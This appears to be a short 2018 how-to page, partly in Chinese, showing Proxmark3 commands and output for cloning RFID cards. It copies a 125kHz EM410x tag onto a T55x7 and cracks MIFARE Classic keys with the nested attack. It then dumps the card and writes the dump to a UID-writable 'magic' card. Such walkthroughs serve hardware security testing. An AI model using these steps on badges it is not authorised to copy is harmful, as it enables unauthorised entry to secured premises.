How to clone RFID cards 如何复制RFID卡
Tool used: Proxmark3 with 野马无疆PM3 Proxmark3 RFID ICID读卡 全加密 useful links:
- https://github.com/Proxmark/proxmark3/wiki/commands
- https://zhuanlan.zhihu.com/p/29661557
- http://www.proxmark.org/forum/viewtopic.php?id=2554
How to clone a low frequence (125KHZ) RFID card
proxmark3> lf search
Reading 30000 bytes from device memory
Data fetched
Samples @ 8 bits/smpl, decimation 1:1
NOTE: some demods output possible binary
if it finds something that looks like a tag
False Positives ARE possible
Checking for known tags:
EM410x pattern found:
EM TAG ID : ***********
Unique TAG ID : ***********
Valid EM410x ID Found!
proxmark3> lf em em410xwrite <EM TAG ID> 1
Writing T55x7 tag with UID 0x*********** (clock rate: 64)
#db# Started writing T55x7 tag ...
#db# Clock rate: 64
#db# Tag T55x7 written with 0xff82345234
How to clone a high frequence card
proxmark3> hf search
UID : xx xx xx xx
ATQA : xx xx
SAK : xx [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
Answers to chinese magic backdoor commands: NO
Valid ISO14443A Tag Found - Quiting Search
proxmark3> hf mf mifare
...
parity is all zero,try special attack!just wait for few more seconds...
Found valid key:ffffffffffff
proxmark3> hf mf nested 1 0 A ffffffffffff d
Testing known keys. Sector count=16
nested...
-----------------------------------------------
Iterations count: 0
|---|----------------|---|----------------|---|
|sec|key A |res|key B |res|
|---|----------------|---|----------------|---|
|000| ffffffffffff | 1 | ffffffffffff | 1 |
|001| ffffffffffff | 1 | ffffffffffff | 1 |
|002| ffffffffffff | 1 | ffffffffffff | 1 |
|003| ffffffffffff | 1 | ffffffffffff | 1 |
|004| ffffffffffff | 1 | ffffffffffff | 1 |
|005| ffffffffffff | 1 | ffffffffffff | 1 |
|006| ffffffffffff | 1 | ffffffffffff | 1 |
|007| ffffffffffff | 1 | ffffffffffff | 1 |
|008| ffffffffffff | 1 | ffffffffffff | 1 |
|009| ffffffffffff | 1 | ffffffffffff | 1 |
|010| ffffffffffff | 1 | ffffffffffff | 1 |
|011| ffffffffffff | 1 | ffffffffffff | 1 |
|012| ffffffffffff | 1 | ffffffffffff | 1 |
|013| ffffffffffff | 1 | ffffffffffff | 1 |
|014| ffffffffffff | 1 | ffffffffffff | 1 |
|015| ffffffffffff | 1 | ffffffffffff | 1 |
|---|----------------|---|----------------|---|
Printing keys to binary file dumpkeys.bin...
proxmark3> hf mf dump 1
...
Successfully read block 2 of sector 15.
#db# READ BLOCK FINISHED
Successfully read block 3 of sector 15.
Dumped 64 blocks (1024 bytes) to file dumpdata.bin
proxmark3> script run dumptoemul.lua
# with blank UID card
proxmark3> hf mf cload <uid>
Loaded from file: <uid>.eml
reset UID
Usage: hf mf csetuid <UID 8 hex symbols> <w>
sample: hf mf csetuid 01020304 w
Set block data for magic Chinese card (only works with!!!)
If you want wipe card then add 'w' into command lin
copied from: http://www.proxmark.org/forum/viewtopic.php?id=2015
- 2018-04-10
edit